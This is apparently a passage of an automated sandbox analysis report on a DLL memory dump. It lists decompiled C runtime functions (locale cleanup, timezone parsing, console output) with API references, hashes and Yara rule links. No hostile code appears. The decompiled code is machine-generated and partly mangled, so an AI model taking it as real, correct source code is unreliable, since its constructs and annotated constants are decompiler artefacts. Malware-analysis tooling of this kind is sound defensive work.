Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C810
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C822
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C834
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C846
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C858
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C86A
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C87C
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C88E
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C8A0
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C8B2
Part of subcall function 6DD6C7CF: _free.LIBCMT ref: 6DD6C8C4

_free.LIBCMT ref: 6DD6BF9D

Part of subcall function 6DD5CBD3: HeapFree.KERNEL32(00000000,00000000,?,6DD6CFAF,00000000,00000000,00000000,00000000,?,6DD6D2B4,00000000,00000007,00000000,?,6DD6C0FC,00000000), ref: 6DD5CBE9
Part of subcall function 6DD5CBD3: GetLastError.KERNEL32(00000000,?,6DD6CFAF,00000000,00000000,00000000,00000000,?,6DD6D2B4,00000000,00000007,00000000,?,6DD6C0FC,00000000,00000000), ref: 6DD5CBFB

_free.LIBCMT ref: 6DD6BFBF
_free.LIBCMT ref: 6DD6BFD4
_free.LIBCMT ref: 6DD6BFDF
_free.LIBCMT ref: 6DD6C001
_free.LIBCMT ref: 6DD6C014
_free.LIBCMT ref: 6DD6C022
_free.LIBCMT ref: 6DD6C02D
_free.LIBCMT ref: 6DD6C065
_free.LIBCMT ref: 6DD6C06C
_free.LIBCMT ref: 6DD6C089
_free.LIBCMT ref: 6DD6C0A1

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 1d37ac998b1d21197b6bc60ee0aefe7ede48148ee7147ca865899cefdc5452ba
Instruction ID: 61ad6b2ad83aaf65e0550555f8c88b0a446b76b9ac8dd337978e1806614f1a3e
Opcode Fuzzy Hash: 1d37ac998b1d21197b6bc60ee0aefe7ede48148ee7147ca865899cefdc5452ba
Instruction Fuzzy Hash: F8313D31648246EFEF20AB38D844B6A77F9AF00314F115919F168D71A2EB31B9648BB0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5D3EF, Relevance: 15.1, APIs: 10, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DD5D3EF(char _a4) {
				char _v8;

				_t26 = _a4;
				_t52 =  *_a4;
				if( *_a4 != 0x6dd80c10) {
					E6DD5CBD3(_t52);
					_t26 = _a4;
				}
				E6DD5CBD3( *((intOrPtr*)(_t26 + 0x3c)));
				E6DD5CBD3( *((intOrPtr*)(_a4 + 0x30)));
				E6DD5CBD3( *((intOrPtr*)(_a4 + 0x34)));
				E6DD5CBD3( *((intOrPtr*)(_a4 + 0x38)));
				E6DD5CBD3( *((intOrPtr*)(_a4 + 0x28)));
				E6DD5CBD3( *((intOrPtr*)(_a4 + 0x2c)));
				E6DD5CBD3( *((intOrPtr*)(_a4 + 0x40)));
				E6DD5CBD3( *((intOrPtr*)(_a4 + 0x44)));
				E6DD5CBD3( *((intOrPtr*)(_a4 + 0x360)));
				_v8 =  &_a4;
				E6DD5D23E(5,  &_v8);
				_v8 =  &_a4;
				return E6DD5D28E(4,  &_v8);
			}

APIs

_free.LIBCMT ref: 6DD5D403

Part of subcall function 6DD5CBD3: HeapFree.KERNEL32(00000000,00000000,?,6DD6CFAF,00000000,00000000,00000000,00000000,?,6DD6D2B4,00000000,00000007,00000000,?,6DD6C0FC,00000000), ref: 6DD5CBE9
Part of subcall function 6DD5CBD3: GetLastError.KERNEL32(00000000,?,6DD6CFAF,00000000,00000000,00000000,00000000,?,6DD6D2B4,00000000,00000007,00000000,?,6DD6C0FC,00000000,00000000), ref: 6DD5CBFB

_free.LIBCMT ref: 6DD5D40F
_free.LIBCMT ref: 6DD5D41A
_free.LIBCMT ref: 6DD5D425
_free.LIBCMT ref: 6DD5D430
_free.LIBCMT ref: 6DD5D43B
_free.LIBCMT ref: 6DD5D446
_free.LIBCMT ref: 6DD5D451
_free.LIBCMT ref: 6DD5D45C
_free.LIBCMT ref: 6DD5D46A

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: caeb615ec13d131582f8dc44c39d3e069706ae949d7c43cb278d9c1a391abf07
Instruction ID: f3da30d2815c64e6e90f0e1a2fae0fbd60b7de0eda7479222737e0925280549c
Opcode Fuzzy Hash: caeb615ec13d131582f8dc44c39d3e069706ae949d7c43cb278d9c1a391abf07
Instruction Fuzzy Hash: 2011897554810CBFCF01EF58C841EDE3BB5EF04254B5251A5BA088F262EB75EA709BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5E984, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 274
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E6DD5E984(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
				signed int _v8;
				short _v270;
				short _v272;
				char _v528;
				char _v700;
				signed int _v704;
				signed int _v708;
				short _v710;
				signed int* _v712;
				signed int _v716;
				signed int _v720;
				signed int _v724;
				signed int* _v728;
				signed int _v732;
				signed int _v736;
				signed int _v740;
				signed int _v744;
				signed int _t151;
				void* _t158;
				signed int _t159;
				signed int _t160;
				intOrPtr _t161;
				signed int _t164;
				signed int _t168;
				signed int _t169;
				intOrPtr* _t171;
				intOrPtr _t172;
				signed int _t175;
				signed int _t176;
				signed int _t178;
				signed int _t198;
				signed int _t199;
				signed int _t202;
				signed int _t207;
				signed int _t210;
				signed int _t216;
				intOrPtr* _t217;
				signed int _t230;
				signed int _t233;
				intOrPtr* _t234;
				signed int _t236;
				signed int* _t240;
				intOrPtr _t249;
				signed int _t254;
				signed int _t256;
				void* _t257;
				signed int _t260;
				signed int* _t261;
				intOrPtr* _t262;
				short _t263;
				signed int _t265;
				signed int _t267;
				void* _t269;
				void* _t271;

				_t265 = _t267;
				_t151 =  *0x6ddd506c; // 0x5c069606
				_v8 = _t151 ^ _t265;
				_push(__ebx);
				_t210 = _a8;
				_push(__esi);
				_push(__edi);
				_t249 = _a4;
				_v744 = _t210;
				_v728 = E6DD5D5FF(_t210, __ecx, __edx) + 0x278;
				_t158 = E6DD5DE92(_t210, __edx, _t249, _a12, _a12,  &_v272, 0x83,  &_v700, 0x55,  &_v708);
				_t269 = _t267 - 0x2e4 + 0x18;
				if(_t158 != 0) {
					_t11 = _t210 + 2; // 0x6
					_t254 = _t11 << 4;
					__eflags = _t254;
					_t159 =  &_v272;
					_v716 = _t254;
					_t247 =  *(_t254 + _t249);
					_t216 =  *(_t254 + _t249);
					while(1) {
						_v704 = _v704 & 0x00000000;
						__eflags =  *_t159 -  *_t216;
						_t256 = _v716;
						if( *_t159 !=  *_t216) {
							break;
						}
						__eflags =  *_t159;
						if( *_t159 == 0) {
							L9:
							_t160 = _v704;
						} else {
							_t263 =  *((intOrPtr*)(_t159 + 2));
							__eflags = _t263 -  *((intOrPtr*)(_t216 + 2));
							_v710 = _t263;
							_t256 = _v716;
							if(_t263 !=  *((intOrPtr*)(_t216 + 2))) {
								break;
							} else {
								_t159 = _t159 + 4;
								_t216 = _t216 + 4;
								__eflags = _v710;
								if(_v710 != 0) {
									continue;
								} else {
									goto L9;
								}
							}
						}
						L11:
						__eflags = _t160;
						if(_t160 != 0) {
							_t217 =  &_v272;
							_t247 = _t217 + 2;
							do {
								_t161 =  *_t217;
								_t217 = _t217 + 2;
								__eflags = _t161 - _v704;
							} while (_t161 != _v704);
							_v720 = (_t217 - _t247 >> 1) + 1;
							_t164 = E6DD5F26D(_t217 - _t247 >> 1, 4 + ((_t217 - _t247 >> 1) + 1) * 2);
							_v732 = _t164;
							__eflags = _t164;
							if(_t164 == 0) {
								goto L2;
							} else {
								_v724 =  *((intOrPtr*)(_t256 + _t249));
								_t35 = _t210 * 4; // 0xe764e850
								_v736 =  *((intOrPtr*)(_t249 + _t35 + 0xa0));
								_t38 = _t249 + 8; // 0x8b018b
								_v740 =  *_t38;
								_t226 =  &_v272;
								_v712 = _t164 + 4;
								_t168 = E6DD591A7(_t164 + 4, _v720,  &_v272);
								_t271 = _t269 + 0xc;
								__eflags = _t168;
								if(_t168 != 0) {
									_t169 = _v704;
									_push(_t169);
									_push(_t169);
									_push(_t169);
									_push(_t169);
									_push(_t169);
									E6DD52188();
									asm("int3");
									_t171 =  *0x6ddd76f0; // 0x2ea4800
									 *0x6ddd5108 =  *((intOrPtr*)(_t171 + 0x88));
									 *0x6ddd51c0 =  *_t171;
									_t172 =  *((intOrPtr*)(_t171 + 4));
									 *0x6ddd51ec = _t172;
									return _t172;
								} else {
									__eflags = _v272 - 0x43;
									 *((intOrPtr*)(_t256 + _t249)) = _v712;
									if(_v272 != 0x43) {
										L20:
										_t175 = E6DD5DB3B(_t210, _t226, _t249,  &_v700);
										_t230 = _v704;
										 *(_t249 + 0xa0 + _t210 * 4) = _t175;
									} else {
										__eflags = _v270;
										if(_v270 != 0) {
											goto L20;
										} else {
											_t230 = _v704;
											 *(_t249 + 0xa0 + _t210 * 4) = _t230;
										}
									}
									__eflags = _t210 - 2;
									if(_t210 != 2) {
										__eflags = _t210 - 1;
										if(_t210 != 1) {
											__eflags = _t210 - 5;
											if(_t210 == 5) {
												 *((intOrPtr*)(_t249 + 0x14)) = _v708;
											}
										} else {
											 *((intOrPtr*)(_t249 + 0x10)) = _v708;
										}
									} else {
										_t261 = _v728;
										_t247 = _t230;
										_t240 = _t261;
										 *(_t249 + 8) = _v708;
										_v712 = _t261;
										_v720 = _t261[8];
										_v708 = _t261[9];
										while(1) {
											_t64 = _t249 + 8; // 0x8b018b
											__eflags =  *_t64 -  *_t240;
											if( *_t64 ==  *_t240) {
												break;
											}
											_t262 = _v712;
											_t247 = _t247 + 1;
											_t207 =  *_t240;
											 *_t262 = _v720;
											_v708 = _t240[1];
											_t240 = _t262 + 8;
											 *((intOrPtr*)(_t262 + 4)) = _v708;
											_t210 = _v744;
											_t261 = _v728;
											_v720 = _t207;
											_v712 = _t240;
											__eflags = _t247 - 5;
											if(_t247 < 5) {
												continue;
											} else {
											}
											L28:
											__eflags = _t247 - 5;
											if(__eflags == 0) {
												_t88 = _t249 + 8; // 0x8b018b
												_t198 = E6DD66102(_t210, _t247, _t249, __eflags, _v704, 1, 0x6dd80ea8, 0x7f,  &_v528,  *_t88, 1);
												_t271 = _t271 + 0x1c;
												__eflags = _t198;
												_t199 = _v704;
												if(_t198 == 0) {
													_t261[1] = _t199;
												} else {
													do {
														 *(_t265 + _t199 * 2 - 0x20c) =  *(_t265 + _t199 * 2 - 0x20c) & 0x000001ff;
														_t199 = _t199 + 1;
														__eflags = _t199 - 0x7f;
													} while (_t199 < 0x7f);
													_t202 = E6DD31C3C( &_v528,  *0x6ddd51e8, 0xfe);
													_t271 = _t271 + 0xc;
													__eflags = _t202;
													_t261[1] = 0 | _t202 == 0x00000000;
												}
												_t103 = _t249 + 8; // 0x8b018b
												 *_t261 =  *_t103;
											}
											 *(_t249 + 0x18) = _t261[1];
											goto L39;
										}
										__eflags = _t247;
										if(_t247 != 0) {
											 *_t261 =  *(_t261 + _t247 * 8);
											_t261[1] =  *(_t261 + 4 + _t247 * 8);
											 *(_t261 + _t247 * 8) = _v720;
											 *(_t261 + 4 + _t247 * 8) = _v708;
										}
										goto L28;
									}
									L39:
									_t176 = _t210 * 0xc;
									_t110 = _t176 + 0x6dd80de8; // 0x6dd1815c
									 *0x6dd7a26c(_t249);
									_t178 =  *((intOrPtr*)( *_t110))();
									_t233 = _v724;
									__eflags = _t178;
									if(_t178 == 0) {
										__eflags = _t233 - 0x6ddd52b0;
										if(_t233 != 0x6ddd52b0) {
											_t260 = _t210 + _t210;
											__eflags = _t260;
											asm("lock xadd [eax], ecx");
											if(_t260 != 0) {
												goto L44;
											} else {
												_t128 = _t260 * 8; // 0x10468b00
												E6DD5CBD3( *((intOrPtr*)(_t249 + _t128 + 0x28)));
												_t131 = _t260 * 8; // 0x3b8e8
												E6DD5CBD3( *((intOrPtr*)(_t249 + _t131 + 0x24)));
												_t134 = _t210 * 4; // 0xe764e850
												E6DD5CBD3( *((intOrPtr*)(_t249 + _t134 + 0xa0)));
												_t236 = _v704;
												 *((intOrPtr*)(_v716 + _t249)) = _t236;
												 *(_t249 + 0xa0 + _t210 * 4) = _t236;
											}
										}
										_t234 = _v732;
										 *_t234 = 1;
										 *((intOrPtr*)(_t249 + 0x28 + (_t210 + _t210) * 8)) = _t234;
									} else {
										 *(_v716 + _t249) = _t233;
										_t115 = _t210 * 4; // 0xe764e850
										E6DD5CBD3( *((intOrPtr*)(_t249 + _t115 + 0xa0)));
										 *(_t249 + 0xa0 + _t210 * 4) = _v736;
										E6DD5CBD3(_v732);
										 *(_t249 + 8) = _v740;
										goto L2;
									}
									goto L3;
								}
							}
						} else {
							goto L3;
						}
						goto L47;
					}
					asm("sbb eax, eax");
					_t160 = _t159 | 0x00000001;
					__eflags = _t160;
					goto L11;
				} else {
					L2:
					L3:
					_pop(_t257);
					return E6DD2F8A5(_v8 ^ _t265, _t247, _t257);
				}
				L47:
			}

APIs

Part of subcall function 6DD5D5FF: GetLastError.KERNEL32(?,6DDECE94,6DD51803,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,AA9E70CB), ref: 6DD5D603
Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D636
Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,AA9E70CB), ref: 6DD5D677
Part of subcall function 6DD5D5FF: _abort.LIBCMT ref: 6DD5D67D

_memcmp.LIBVCRUNTIME ref: 6DD5EC2E
_free.LIBCMT ref: 6DD5EC9F
_free.LIBCMT ref: 6DD5ECB8
_free.LIBCMT ref: 6DD5ECEA
_free.LIBCMT ref: 6DD5ECF3
_free.LIBCMT ref: 6DD5ECFF

Strings

C, xrefs: 6DD5EAEC

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorLast$_abort_memcmp
String ID: C
API String ID: 1679612858-1037565863
Opcode ID: 41704fddf1a7b46ae88fa9c034a6c2f0046725da944fc68055e4e7ed95bd1939
Instruction ID: 686ab76f73b66c131f6b2230657bcba24886c3bc53efb5bca0f59d9b9763a861
Opcode Fuzzy Hash: 41704fddf1a7b46ae88fa9c034a6c2f0046725da944fc68055e4e7ed95bd1939
Instruction Fuzzy Hash: E1C1097590521ADFDF24EF18C884AADB7B4FB49304F1085AAE549E7351E731AEA0CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6877C, Relevance: 10.9, APIs: 7, Instructions: 370
timeCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6DD6877C(void* __ebx, void* __edi, void* __eflags, signed int _a4) {
				signed int _v8;
				signed int _v12;
				int _v16;
				int _v20;
				int _v24;
				char _v52;
				int _v56;
				int _v60;
				signed int _v100;
				char _v272;
				intOrPtr _v276;
				char _v280;
				char _v356;
				char _v360;
				void* __esi;
				void* __ebp;
				signed int _t65;
				signed int _t72;
				signed int _t74;
				signed int _t78;
				signed int _t85;
				signed int _t89;
				signed int _t91;
				long _t93;
				signed int* _t96;
				signed int _t99;
				signed int _t102;
				signed int _t106;
				void* _t113;
				signed int _t116;
				void* _t117;
				void* _t119;
				void* _t120;
				void* _t122;
				signed int _t124;
				signed int _t125;
				signed int* _t128;
				signed int _t129;
				void* _t132;
				void* _t134;
				signed int _t135;
				signed int _t137;
				void* _t140;
				intOrPtr _t141;
				void* _t143;
				signed int _t150;
				signed int _t151;
				signed int _t154;
				signed int _t158;
				signed int _t161;
				intOrPtr* _t166;
				intOrPtr _t167;
				signed int _t168;
				intOrPtr* _t169;
				void* _t170;
				void* _t171;
				signed int _t172;
				int _t176;
				signed int _t178;
				char** _t179;
				signed int _t183;
				signed int _t184;
				void* _t191;
				signed int _t192;
				void* _t193;
				signed int _t194;

				_t171 = __edi;
				_t65 = E6DD6822B();
				_v8 = _v8 & 0x00000000;
				_t137 = _t65;
				_v16 = _v16 & 0x00000000;
				_v12 = _t137;
				if(E6DD68289( &_v8) != 0 || E6DD68231( &_v16) != 0) {
					L46:
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E6DD52188();
					asm("int3");
					_t191 = _t193;
					_t194 = _t193 - 0x10;
					_push(_t137);
					_t179 = E6DD6822B();
					_v52 = 0;
					_v56 = 0;
					_v60 = 0;
					_t72 = E6DD68289( &_v52);
					_t143 = _t178;
					__eflags = _t72;
					if(_t72 != 0) {
						L66:
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						E6DD52188();
						asm("int3");
						_push(_t191);
						_t192 = _t194;
						_t74 =  *0x6ddd506c; // 0x5c069606
						_v100 = _t74 ^ _t192;
						 *0x6ddd5384 =  *0x6ddd5384 | 0xffffffff;
						 *0x6ddd5378 =  *0x6ddd5378 | 0xffffffff;
						_push(0);
						_push(_t179);
						_push(_t171);
						_t172 = 0;
						 *0x6ddd7a10 = 0;
						_t78 = E6DD61216(0x6dd82130, _t167, 0, __eflags,  &_v360,  &_v356, 0x100, 0x6dd82130);
						__eflags = _t78;
						if(_t78 != 0) {
							__eflags = _t78 - 0x22;
							if(_t78 == 0x22) {
								_t184 = E6DD5F26D(_t143, _v276);
								__eflags = _t184;
								if(__eflags != 0) {
									_t85 = E6DD61216(0x6dd82130, _t167, 0, __eflags,  &_v280, _t184, _v276, 0x6dd82130);
									__eflags = _t85;
									if(_t85 == 0) {
										E6DD5CBD3(0);
										_t172 = _t184;
									} else {
										_push(_t184);
										goto L73;
									}
								} else {
									_push(0);
									L73:
									E6DD5CBD3();
								}
							}
						} else {
							_t172 =  &_v272;
						}
						asm("sbb esi, esi");
						_t183 =  ~(_t172 -  &_v272) & _t172;
						__eflags = _t172;
						if(_t172 == 0) {
							L81:
							L47();
						} else {
							__eflags =  *_t172;
							if(__eflags == 0) {
								goto L81;
							} else {
								_push(_t172);
								E6DD6877C(0x6dd82130, _t172, __eflags);
							}
						}
						E6DD5CBD3(_t183);
						__eflags = _v16 ^ _t192;
						return E6DD2F8A5(_v16 ^ _t192, _t167, _t183);
					} else {
						_t89 = E6DD68231( &_v16);
						_pop(_t143);
						__eflags = _t89;
						if(_t89 != 0) {
							goto L66;
						} else {
							_t91 = E6DD6825D( &_v20);
							_pop(_t143);
							__eflags = _t91;
							if(_t91 != 0) {
								goto L66;
							} else {
								E6DD5CBD3( *0x6ddd7a08);
								 *0x6ddd7a08 = 0;
								 *_t194 = 0x6ddd7a18;
								_t93 = GetTimeZoneInformation(??);
								__eflags = _t93 - 0xffffffff;
								if(_t93 != 0xffffffff) {
									_t150 =  *0x6ddd7a18 * 0x3c;
									_t168 =  *0x6ddd7a6c; // 0x0
									_push(_t171);
									 *0x6ddd7a10 = 1;
									_v12 = _t150;
									__eflags =  *0x6ddd7a5e; // 0x0
									if(__eflags != 0) {
										_t151 = _t150 + _t168 * 0x3c;
										__eflags = _t151;
										_v12 = _t151;
									}
									__eflags =  *0x6ddd7ab2; // 0x0
									if(__eflags == 0) {
										L56:
										_v16 = 0;
										_v20 = 0;
									} else {
										_t106 =  *0x6ddd7ac0; // 0x0
										__eflags = _t106;
										if(_t106 == 0) {
											goto L56;
										} else {
											_v16 = 1;
											_v20 = (_t106 - _t168) * 0x3c;
										}
									}
									_t176 = E6DD53CD0(0, _t168);
									_t99 = WideCharToMultiByte(_t176, 0, 0x6ddd7a1c, 0xffffffff,  *_t179, 0x3f, 0,  &_v24);
									__eflags = _t99;
									if(_t99 == 0) {
										L60:
										 *( *_t179) = 0;
									} else {
										__eflags = _v24;
										if(_v24 != 0) {
											goto L60;
										} else {
											( *_t179)[0x3f] = 0;
										}
									}
									_t102 = WideCharToMultiByte(_t176, 0, 0x6ddd7a70, 0xffffffff, _t179[1], 0x3f, 0,  &_v24);
									__eflags = _t102;
									if(_t102 == 0) {
										L64:
										 *(_t179[1]) = 0;
									} else {
										__eflags = _v24;
										if(_v24 != 0) {
											goto L64;
										} else {
											_t179[1][0x3f] = 0;
										}
									}
								}
								 *(E6DD68225()) = _v12;
								 *((intOrPtr*)(E6DD68219())) = _v16;
								_t96 = E6DD6821F();
								 *_t96 = _v20;
								return _t96;
							}
						}
					}
				} else {
					_t169 =  *0x6ddd7a08; // 0x0
					_t178 = _a4;
					if(_t169 == 0) {
						L12:
						E6DD5CBD3(_t169);
						_t154 = _t178;
						_t12 = _t154 + 1; // 0x6dd68b6d
						_t170 = _t12;
						do {
							_t113 =  *_t154;
							_t154 = _t154 + 1;
						} while (_t113 != 0);
						_t13 = _t154 - _t170 + 1; // 0x6dd68b6e
						 *0x6ddd7a08 = E6DD5F26D(_t154 - _t170, _t13);
						_t116 = E6DD5CBD3(0);
						_t167 =  *0x6ddd7a08; // 0x0
						if(_t167 == 0) {
							goto L45;
						} else {
							_t158 = _t178;
							_push(_t171);
							_t14 = _t158 + 1; // 0x6dd68b6d
							_t171 = _t14;
							do {
								_t117 =  *_t158;
								_t158 = _t158 + 1;
							} while (_t117 != 0);
							_t15 = _t158 - _t171 + 1; // 0x6dd68b6e
							_t119 = E6DD5AB60(_t167, _t15, _t178);
							_t193 = _t193 + 0xc;
							if(_t119 == 0) {
								_t171 = 3;
								_push(_t171);
								_t120 = E6DD73B33(_t159,  *_t137, 0x40, _t178);
								_t193 = _t193 + 0x10;
								if(_t120 == 0) {
									while( *_t178 != 0) {
										_t178 = _t178 + 1;
										_t171 = _t171 - 1;
										if(_t171 != 0) {
											continue;
										}
										break;
									}
									_pop(_t171);
									_t137 = _t137 & 0xffffff00 |  *_t178 == 0x0000002d;
									if(_t137 != 0) {
										_t178 = _t178 + 1;
									}
									_t161 = E6DD5BFB3(_t159, _t178) * 0xe10;
									_v8 = _t161;
									while(1) {
										_t122 =  *_t178;
										if(_t122 != 0x2b && (_t122 < 0x30 || _t122 > 0x39)) {
											break;
										}
										_t178 = _t178 + 1;
									}
									__eflags =  *_t178 - 0x3a;
									if( *_t178 == 0x3a) {
										_t178 = _t178 + 1;
										_t161 = _v8 + E6DD5BFB3(_t161, _t178) * 0x3c;
										_v8 = _t161;
										while(1) {
											_t132 =  *_t178;
											__eflags = _t132 - 0x30;
											if(_t132 < 0x30) {
												break;
											}
											__eflags = _t132 - 0x39;
											if(_t132 <= 0x39) {
												_t178 = _t178 + 1;
												__eflags = _t178;
												continue;
											}
											break;
										}
										__eflags =  *_t178 - 0x3a;
										if( *_t178 == 0x3a) {
											_t178 = _t178 + 1;
											_t161 = _v8 + E6DD5BFB3(_t161, _t178);
											_v8 = _t161;
											while(1) {
												_t134 =  *_t178;
												__eflags = _t134 - 0x30;
												if(_t134 < 0x30) {
													goto L38;
												}
												__eflags = _t134 - 0x39;
												if(_t134 <= 0x39) {
													_t178 = _t178 + 1;
													__eflags = _t178;
													continue;
												}
												goto L38;
											}
										}
									}
									L38:
									__eflags = _t137;
									if(_t137 != 0) {
										_v8 = _t161;
									}
									__eflags =  *_t178;
									_t124 = 0 |  *_t178 != 0x00000000;
									_v16 = _t124;
									__eflags = _t124;
									_t125 = _v12;
									if(_t124 == 0) {
										_t29 = _t125 + 4; // 0xfffffddd
										 *((char*)( *_t29)) = 0;
										L44:
										 *(E6DD68225()) = _v8;
										_t128 = E6DD68219();
										 *_t128 = _v16;
										return _t128;
									}
									_push(3);
									_t28 = _t125 + 4; // 0xfffffddd
									_t129 = E6DD73B33(_t161,  *_t28, 0x40, _t178);
									_t193 = _t193 + 0x10;
									__eflags = _t129;
									if(_t129 == 0) {
										goto L44;
									}
								}
							}
							goto L46;
						}
					} else {
						_t166 = _t169;
						_t135 = _t178;
						while(1) {
							_t140 =  *_t135;
							if(_t140 !=  *_t166) {
								break;
							}
							if(_t140 == 0) {
								L8:
								_t116 = 0;
							} else {
								_t9 = _t135 + 1; // 0xdde805eb
								_t141 =  *_t9;
								if(_t141 !=  *((intOrPtr*)(_t166 + 1))) {
									break;
								} else {
									_t135 = _t135 + 2;
									_t166 = _t166 + 2;
									if(_t141 != 0) {
										continue;
									} else {
										goto L8;
									}
								}
							}
							L10:
							if(_t116 == 0) {
								L45:
								return _t116;
							} else {
								_t137 = _v12;
								goto L12;
							}
							goto L83;
						}
						asm("sbb eax, eax");
						_t116 = _t135 | 0x00000001;
						__eflags = _t116;
						goto L10;
					}
				}
				L83:
			}

APIs

_free.LIBCMT ref: 6DD687FE
_free.LIBCMT ref: 6DD68822
_free.LIBCMT ref: 6DD689A9
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,6DD82130), ref: 6DD689BB
WideCharToMultiByte.KERNEL32(00000000,00000000,6DDD7A1C,000000FF,00000000,0000003F,00000000,?,?), ref: 6DD68A33
WideCharToMultiByte.KERNEL32(00000000,00000000,6DDD7A70,000000FF,?,0000003F,00000000,?), ref: 6DD68A60
_free.LIBCMT ref: 6DD68B75

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: f65277380e22828b37be423a5a56d0f3005208600d1f1b4b0629f2c7da70a312
Instruction ID: 01006a61646f142e56e3a75c6527ad94440e0adecc7cb0ae4a016286a9a7a98c
Opcode Fuzzy Hash: f65277380e22828b37be423a5a56d0f3005208600d1f1b4b0629f2c7da70a312
Instruction Fuzzy Hash: 9EC12771908286EBDF10BF68C840BBA7BB9AF47314F14419AF995972C1D7309A41CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD62C2B, Relevance: 10.7, APIs: 7, Instructions: 152
fileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6DD62C2B(void* __ebx, void* __edi, intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				signed char _v15;
				char _v16;
				void _v24;
				short _v28;
				char _v31;
				void _v32;
				long _v36;
				intOrPtr _v40;
				void* _v44;
				signed int _v48;
				signed char* _v52;
				long _v56;
				int _v60;
				void* __esi;
				signed int _t78;
				signed int _t80;
				int _t86;
				void* _t92;
				void* _t94;
				long _t97;
				void _t105;
				void* _t112;
				signed int _t116;
				signed int _t118;
				signed char _t123;
				signed char _t128;
				signed int _t129;
				signed char* _t131;
				intOrPtr* _t132;
				signed int _t133;
				void* _t134;

				_t78 =  *0x6ddd506c; // 0x5c069606
				_v8 = _t78 ^ _t133;
				_t80 = _a8;
				_t118 = _t80 >> 6;
				_t116 = (_t80 & 0x0000003f) * 0x30;
				_t131 = _a12;
				_v52 = _t131;
				_v48 = _t118;
				_v44 =  *((intOrPtr*)( *((intOrPtr*)(0x6ddd76f8 + _t118 * 4)) + _t116 + 0x18));
				_v40 = _a16 + _t131;
				_t86 = GetConsoleCP();
				_t132 = _a4;
				_v60 = _t86;
				 *_t132 = 0;
				 *((intOrPtr*)(_t132 + 4)) = 0;
				 *((intOrPtr*)(_t132 + 8)) = 0;
				while(_t131 < _v40) {
					_v28 = 0;
					_v31 =  *_t131;
					_t129 =  *(0x6ddd76f8 + _v48 * 4);
					_t123 =  *(_t129 + _t116 + 0x2d);
					if((_t123 & 0x00000004) == 0) {
						_t92 = E6DD5367B(_t116, _t129);
						_t129 = 0x8000;
						if(( *(_t92 + ( *_t131 & 0x000000ff) * 2) & 0x00008000) == 0) {
							_push(1);
